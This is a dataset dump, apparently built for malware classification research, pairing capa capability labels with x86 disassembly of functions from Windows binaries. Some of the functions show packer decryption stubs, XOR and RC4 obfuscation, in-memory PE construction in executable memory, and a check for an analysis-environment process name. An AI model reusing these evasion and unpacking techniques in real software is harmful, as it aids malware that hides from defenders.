joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436680
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
mov edi, 0xc0000008
cmp dword [ecx + 4], 0
je 0x4368c0
mov eax, dword [ecx]
test eax, eax
je 0x4368c0
mov dword [esp + 0x1c], ecx
mov dword [esp + 8], 0x3a393837
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0xf
ja 0x436726
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edi, byte [esp + edx + 8]
lea esi, [ecx + 0x5d0c1c27]
mov edx, esi
and edx, edi
mov ebx, esi
xor ebx, edi
or esi, edi
xor esi, ebx
add ecx, 0x27
and ecx, edi
add ecx, esi
lea edx, [ebx + edx*2]
sub edx, ecx
mov dword [esp + 0x20], edx
mov ecx, dword [esp + 0x20]
add cl, 0xef
mov edx, dword [esp]
mov byte [esp + edx + 8], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x10
jb 0x4366e0
mov esi, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
mov edi, dword [esp + 8]
mov edx, dword [0x44988c]
test edx, edx
je 0x436785
xor ebx, ebx
mov ecx, dword [0x449890]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ecx + ebx*8], 0xac3673b8
je 0x436763
inc ebx
cmp edx, ebx
jne 0x436750
mov ebx, dword [ebp + 0xc]
jmp 0x436785
mov ecx, dword [ecx + ebx*8 + 4]
cmp ecx, edi
mov ebx, dword [ebp + 0xc]
je 0x436785
push dword [ebp + 8]
push eax
push 2
push dword [0x449894]
push ecx
call fcn.00438470
add esp, 0x14
mov edi, eax
cmp ebx, 1
mov eax, esi
sbb eax, 0
jl 0x4368b3
cmp edi, 0xc000010a
jne 0x4368b3
mov ecx, ebx
and ecx, 0xffffd8f0
mov eax, ecx
xor eax, 0xffffd8f0
mov edi, esi
mov esi, ebx
and esi, 0x270f
mul esi
mov dword [esp + 0x28], eax
mov eax, edi
not eax
imul eax, esi
add edx, eax
mov esi, edx
or ebx, 0xffffd8f0
imul edi, ebx
mov eax, ebx
mul ecx
add edx, edi
sub edx, ecx
add eax, dword [esp + 0x28]
adc edx, esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov dword [esp + 8], 0x3a393837
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0xf
ja 0x436869
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edi, byte [esp + edx + 8]
lea esi, [ecx + 0x5d0c1c27]
mov edx, esi
and edx, edi
mov ebx, esi
xor ebx, edi
or esi, edi
xor esi, ebx
add ecx, 0x27
and ecx, edi
add ecx, esi
lea edx, [ebx + edx*2]
sub edx, ecx
mov dword [esp], edx
mov ecx, dword [esp]
add cl, 0xef
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0x10
jb 0x436820
mov edi, dword [esp + 8]
mov ecx, dword [0x44988c]
test ecx, ecx
je 0x4368b3
xor edx, edx
mov esi, dword [0x449890]
nop
cmp dword [esi + edx*8], 0xb33e16a3
je 0x436890
inc edx
cmp ecx, edx
jne 0x436880
jmp 0x4368b3
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, edi
je 0x4368b3
lea edx, [esp + 0x20]
push edx
push 0
push eax
push 3
push dword [0x449894]
push ecx
call fcn.00438470
add esp, 0x18
mov edi, eax
test edi, edi
js 0x4368c0
mov ecx, dword [esp + 0x1c]
call fcn.00436580
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x4368d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov edx, dword [ebp + 0x14]
test edx, edx
jne 0x4368e7
lea edx, [esp + 0x20]
mov eax, dword [ecx]
mov dword [esp + 8], eax
mov dword [esp + 0x10], 0x3a393837
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xf
ja 0x43696a
nop
nop
mov eax, dword [esp + 4]
mov esi, dword [esp + 4]
movzx ebx, byte [esp + esi + 0x10]
lea edi, [eax + 0x5d0c1c27]
mov esi, edi
and esi, ebx
mov ecx, edi
xor ecx, ebx
or edi, ebx
xor edi, ecx
add eax, 0x27
and eax, ebx
add eax, edi
lea ecx, [ecx + esi*2]
sub ecx, eax
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0xc]
add al, 0xef
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x10], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x10
jb 0x436920
mov eax, dword [esp + 0x10]
mov esi, dword [0x44988c]
test esi, esi
je 0x4369c5
mov ecx, dword [ebp + 8]
xor edi, edi
mov ebx, dword [0x449890]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xc99a73c4
je 0x4369a0
inc edi
cmp esi, edi
jne 0x436990
jmp 0x4369c5
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x4369c5
push edx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ecx
push dword [esp + 0x18]
push 5
push dword [0x449894]
push esi
call fcn.00438470
add esp, 0x20
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
Function at 0x437620
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov dword [esp + 8], 0x33a631ae
mov dword [esp + 0xc], 0x37aa3590
mov dword [esp + 0x10], 0x2b7429b4
mov dword [esp + 0x14], 0x2fb22d88
mov dword [esp + 0x18], 0x232221bc
mov dword [esp + 0x1c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x17
ja 0x4376b3
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 8]
lea edx, [eax + 0x6c16c388]
add eax, 0x88
and eax, ecx
or edx, ecx
sub edx, eax
mov dword [esp + 4], edx
mov eax, dword [esp + 4]
mov ecx, eax
xor ecx, 0x47
and eax, 0x47
lea eax, [ecx + eax*2]
inc al
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x18
jb 0x437670
lea esi, [esp + 8]
push esi
call fcn.00439b10
add esp, 4
mov dword [0x4518a4], eax
xor ecx, ecx
test eax, eax
sete cl
mov ecx, dword [ecx*4 + 0x446a5c]
mov edx, 0xb89a770f
xor edx, dword [0x446a64]
add edx, ecx
inc edx
xor ecx, ecx
jmp edx

Function at 0x4391e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov edi, dword [ebp + 8]
movzx eax, word [edi]
mov dword [esp + 0x28], 0xcbca6b99
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov byte [esp + 0x34], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0xc
ja 0x439267
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x28]
lea esi, [ecx + edx]
add esi, 0x5ed05d62
add ecx, 0x5ed05d62
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 0x18], esi
mov ecx, dword [esp + 0x18]
mov edx, ecx
xor edx, 0x51
and ecx, 0x51
lea ecx, [edx + ecx*2]
inc cl
mov edx, dword [esp]
mov byte [esp + edx + 0x28], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0xd
jb 0x439220
xor ecx, ecx
cmp dword [esp + 0x28], eax
setne cl
mov eax, dword [ecx*4 + 0x447680]
mov ecx, 0xf9d5f555
xor ecx, dword [0x447688]
add ecx, eax
inc ecx
xor eax, eax
jmp ecx
Function at 0x439b10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
mov edi, dword [ebp + 8]
mov dword [esp + 0x18], 0xcbcacdbc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov byte [esp + 0x24], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xc
ja 0x439b99
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x18]
lea edx, [eax + ecx]
add edx, 0x5ed05d62
add eax, 0x5ed05d62
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x14]
add al, 0x52
mov ecx, dword [esp]
mov byte [esp + ecx + 0x18], al
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov dword [esp], eax
mov eax, dword [esp]
cmp eax, 0xd
jb 0x439b50
mov eax, dword [esp + 0x18]
mov eax, dword fs:[eax]
xor ecx, ecx
test edi, edi
sete cl
jmp dword [ecx*4 + 0x4480f4]
mov ecx, dword [eax + 0xc]
add ecx, 0xc
mov esi, dword [case.0x439ba7.5]
mov ebx, dword [0x448148]
mov edx, dword [ecx]
mov dword [esp + 4], 0
mov dword [esp + 0xc], ecx
nop
nop
jmp esi
xor eax, eax
cmp edx, ecx
setne al
jmp dword [eax*4 + 0x44810c]
mov dword [esp + 8], edx
mov edx, dword [edx + 0x30]
xor eax, eax
test edx, edx
setne al
mov dword [esp + 0x10], 1
jmp dword [eax*4 + 0x448124]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x10]
jmp dword [eax*4 + 0x448134]
mov eax, dword [eax + 8]
jmp 0x439c86
mov eax, dword [case.0x439ba7.10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [0x448154]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43a220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov dword [esp + 8], 0xb3b413e5
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 7
ja 0x43a2a1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 8]
lea esi, [ecx + 0x6499]
and esi, edx
add ecx, edx
add ecx, 0x6499
add esi, esi
sub ecx, esi
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x18]
add cl, 0xd1
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 8
jb 0x43a260
xor ecx, ecx
cmp dword [esp + 8], eax
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x448294]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
mov dword [esp + 0x10], edx
mov ecx, dword [ecx + edx]
mov dword [esp + 0x14], ecx
mov dword [esp + 8], 0xabaae01c
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov esi, dword [esp + 4]
cmp esi, 7
ja 0x43a341
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp + 4]
mov edi, dword [esp + 4]
movzx edi, byte [esp + edi + 8]
lea ebx, [esi + 0x649a]
lea ecx, [esi + 0x9a]
mov edx, ebx
and edx, ecx
and edx, edi
xor ebx, ecx
and ebx, edi
lea ecx, [esi + edi]
add ecx, 0x649a
lea edx, [ebx + edx*2]
sub ecx, edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x18]
add cl, 0xca
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 8
jb 0x43a2f0
xor ecx, ecx
mov edx, dword [esp + 0x14]
cmp edx, dword [esp + 8]
setne cl
jmp dword [ecx*4 + 0x44829c]
mov edx, dword [case.0x43a34e.5]
nop
nop
nop
nop
nop
jmp edx
mov edx, dword [0x4482bc]
nop
nop
nop
nop
nop
nop
nop
nop
jmp edx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..data
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x4f4d4d33
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data_1
mov ebx, 0x42e3d0
nop
mov ecx, 0xc463b9d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x101260f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1027c890]
jne 0x101260fa
repz ret
jmp fcn.101271cc

Function at 0x101283cb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.101255c3
and dword [ebp - 4], 0
cmp dword [0x1027e5bc], 0
mov ebx, eax
jne 0x1012847c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1012852d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1012852d
push eax
call fcn.10125551
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1027e5bc], eax
call esi
push eax
call fcn.10125551
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1027e5c0], eax
call esi
push eax
call fcn.10125551
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1027e5c4], eax
call esi
push eax
call fcn.10125551
pop ecx
mov dword [0x1027e5cc], eax
test eax, eax
je 0x1012847c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10125551
pop ecx
mov dword [0x1027e5c8], eax
mov eax, dword [0x1027e5c8]
cmp eax, ebx
je 0x101284d4
cmp dword [0x1027e5cc], ebx
je 0x101284d4
push eax
call fcn.101255cc
push dword [0x1027e5cc]
mov esi, eax
call fcn.101255cc
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101284d4
test edi, edi
je 0x101284d4
call esi
test eax, eax
je 0x101284cb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101284cb
test byte [ebp - 0xc], 1
jne 0x101284d4
or dword [ebp + 0x10], 0x200000
jmp 0x1012850d
mov eax, dword [0x1027e5c0]
cmp eax, ebx
je 0x1012850d
push eax
call fcn.101255cc
pop ecx
test eax, eax
je 0x1012850d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1012850d
mov eax, dword [0x1027e5c4]
cmp eax, ebx
je 0x1012850d
push eax
call fcn.101255cc
pop ecx
test eax, eax
je 0x1012850d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1027e5bc]
call fcn.101255cc
pop ecx
test eax, eax
je 0x1012852d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1012852f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1012955e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1027c0e0], 0
mov byte [0x1027c0e4], 0
mov dword [0x1027c0d8], 0x247e
mov dword [0x1027c0dc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101295b6
xor eax, eax
mov dword [0x1027c0dc], 0
mov dword [ebp - 0x20], eax
jmp 0x101295de
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1027c0dc]
add eax, 1
mov dword [0x1027c0dc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101295b6
jmp 0x101295a5
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1027c0e8], 0
mov edx, dword [0x1027c0d4]
mov esi, edx
add esi, 0xffffd965
mov dword [0x1027c0d8], esi
mov esi, dword [0x1027c0e0]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + eax]
add ebx, esi
mov dword [ebp - 0x24], eax
xor esi, esi
mov dword [ebp - 0x28], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov dword [0x1027c0e8], ebx
mov dword [0x1027c0d8], 0x162a
mov eax, ebx
cdq
idiv ecx
mov dword [0x1027c0e0], edx
mov ecx, dword [ebp - 0x28]
add ecx, 0x26f4
mov dword [0x1027c0d4], ecx
mov ecx, dword [ebp - 0x24]
mov cl, byte [edi + ecx]
mov byte [0x1027c0e4], cl
mov dword [0x1027c0d4], 0x8fc
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov dword [0x1027c0d4], 0x721
mov cl, byte [0x1027c0e4]
mov ebx, dword [0x1027c0e0]
mov byte [edi + ebx], cl
mov dword [0x1027c0d8], 0x15d4
mov ebx, dword [0x1027c0dc]
add ebx, 1
mov dword [0x1027c0dc], ebx
cmp ebx, 0x100
mov dword [ebp - 0x20], ebx
jl 0x101295de
mov dword [0x1027c0d4], 0x71f
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101296ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [0x1027c0d8], 0x26bd
mov dword [0x1027c0d4], 0xe95
mov ecx, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0xc8
mov edi, edx
add edi, esi
add edi, 0x84
mov esi, dword [edi]
imul edi, eax, 0xc8
add edx, edi
add edx, 0x3c
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x5d8
mov ecx, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jne 0x101296f7
lea eax, [0x1012b877]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [0x1027c0d8], 0x130b
mov dword [0x1027c0d4], 0x1346
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
call fcn.101299a4
mov dword [0x1027c0d8], 0xb5d
mov dword [0x1027c0d4], 0x6c2
call fcn.101298e6
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.10129b27
mov ecx, eax
mov dword [0x1027c0f4], eax
mov eax, esp
mov edx, dword [ebp - 0x3c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea edx, section..data
imul esi, eax, 0xc8
mov edi, edx
add edi, esi
add edi, 0x84
mov esi, dword [edi]
imul edi, eax, 0xc8
mov ebx, edx
add ebx, edi
mov edi, dword [ebx]
imul ebx, eax, 0xc8
add edx, ebx
add edx, 0x3c
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x48]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x5c], edx
call fcn.1012a515
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
add eax, ecx
mov edx, dword [ebp - 0x54]
add edx, 1
cmp edx, 0x5d8
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
jne 0x101297da
mov dword [0x1027c0d8], 0x9b1
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x3c]
mov dword [esp + 8], ecx
call fcn.10129a52
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 0xcc2e8
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov ecx, dword [0x1027c0d4]
add ecx, 0x183c
mov dword [0x1027c0d4], ecx
mov dword [edx + 4], 0x152000
mov dword [0x1027c0d8], 0x13e1
mov ecx, dword [ebp - 0x48]
add ecx, 0x8e501
mov dword [edx + 8], ecx
mov ecx, dword [0x1027c0d4]
add ecx, 0x1510
mov dword [0x1027c0d4], ecx
mov dword [edx + 0xc], 0x20c0
mov ecx, dword [0x1027c0d8]
add ecx, 0xfffff7d7
mov dword [0x1027c0d8], ecx
add esp, 0x60
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10129cd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x1012b877]
mov esi, 0xe
lea edi, [ebp - 0x2c]
mov ebx, dword [0x1027c0d4]
add ebx, 0x1e99
mov dword [0x1027c0d4], ebx
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], esi
call fcn.101299a4
mov eax, dword [0x1027c0d4]
add eax, 0xfffffc44
mov dword [0x1027c0d8], eax
mov dword [0x1027c0d4], 0x6c2
call fcn.101298e6
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.10129b27
xor ecx, ecx
mov dword [0x1027c0d4], 0x236d
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
je 0x10129e20
mov eax, dword [ebp - 0x40]
mov dword [0x1027c0d4], 0x1258
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x1027c0d4]
add ecx, 0x194b
mov dword [0x1027c0d8], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
mov dword [ebp - 0x48], eax
call fcn.101292e7
mov eax, dword [ebp - 0x48]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xd0
xor eax, eax
mov ecx, dword [ebp - 0x48]
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x34]
mov dword [edx + 0x1c], ecx
mov dword [0x1027c0d4], 0x341
mov ecx, dword [ebp - 0x48]
mov dword [edx + 0x20], ecx
cmp ecx, 0
mov dword [ebp - 0x44], eax
je 0x10129e20
mov eax, dword [ebp - 0x48]
add eax, 0x12a4
mov dword [0x1027c0d8], 0x1ddf
mov dword [0x1027c0d4], 0xffffefc9
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10129e2b
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov dword [0x1027c0d4], 0x1367
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x1027c0d4]
mov edi, esi
add edi, 0xffffec0a
mov dword [0x1027c0d4], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], edx
je 0x10129ea5
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], eax
jl 0x10129e78
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, dword [ebp - 0x14]
add edx, 0xfffff5a8
mov dword [0x1027c0d4], edx
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
jne 0x10129fca
xor eax, eax
mov dword [0x1027c0d4], 0x28f
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x2c], eax
jne 0x10129fca
mov dword [0x1027c0d4], 0x2505
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff5
mov dword [ebp - 0x30], eax
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x30]
cmp word [ecx + edx*2], 0x61
mov dword [ebp - 0x2c], eax
jne 0x10129fca
mov dword [0x1027c0d8], 0x870
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
mov dx, word [eax + ecx*2 - 0x14]
mov word [ebp - 0x32], dx
xor eax, eax
mov cx, word [ebp - 0x32]
cmp cx, 0x64
mov dword [ebp - 0x2c], eax
jne 0x10129fca
mov dword [0x1027c0d4], 0x264f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x12], 0x64
sete dl
mov byte [ebp - 0x33], dl
xor eax, eax
mov cl, byte [ebp - 0x33]
test cl, 1
mov dword [ebp - 0x2c], eax
jne 0x10129f76
jmp 0x10129fca
xor eax, eax
mov dword [0x1027c0d4], 0x1f9e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x2c], eax
jne 0x10129fca
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0xe], 0x6c
sete dl
mov byte [ebp - 0x34], dl
xor eax, eax
mov cl, byte [ebp - 0x34]
test cl, 1
mov dword [ebp - 0x2c], eax
jne 0x10129fb6
jmp 0x10129fca
mov dword [0x1027c0d4], 0x536
mov eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x10129fca
mov eax, dword [ebp - 0x2c]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret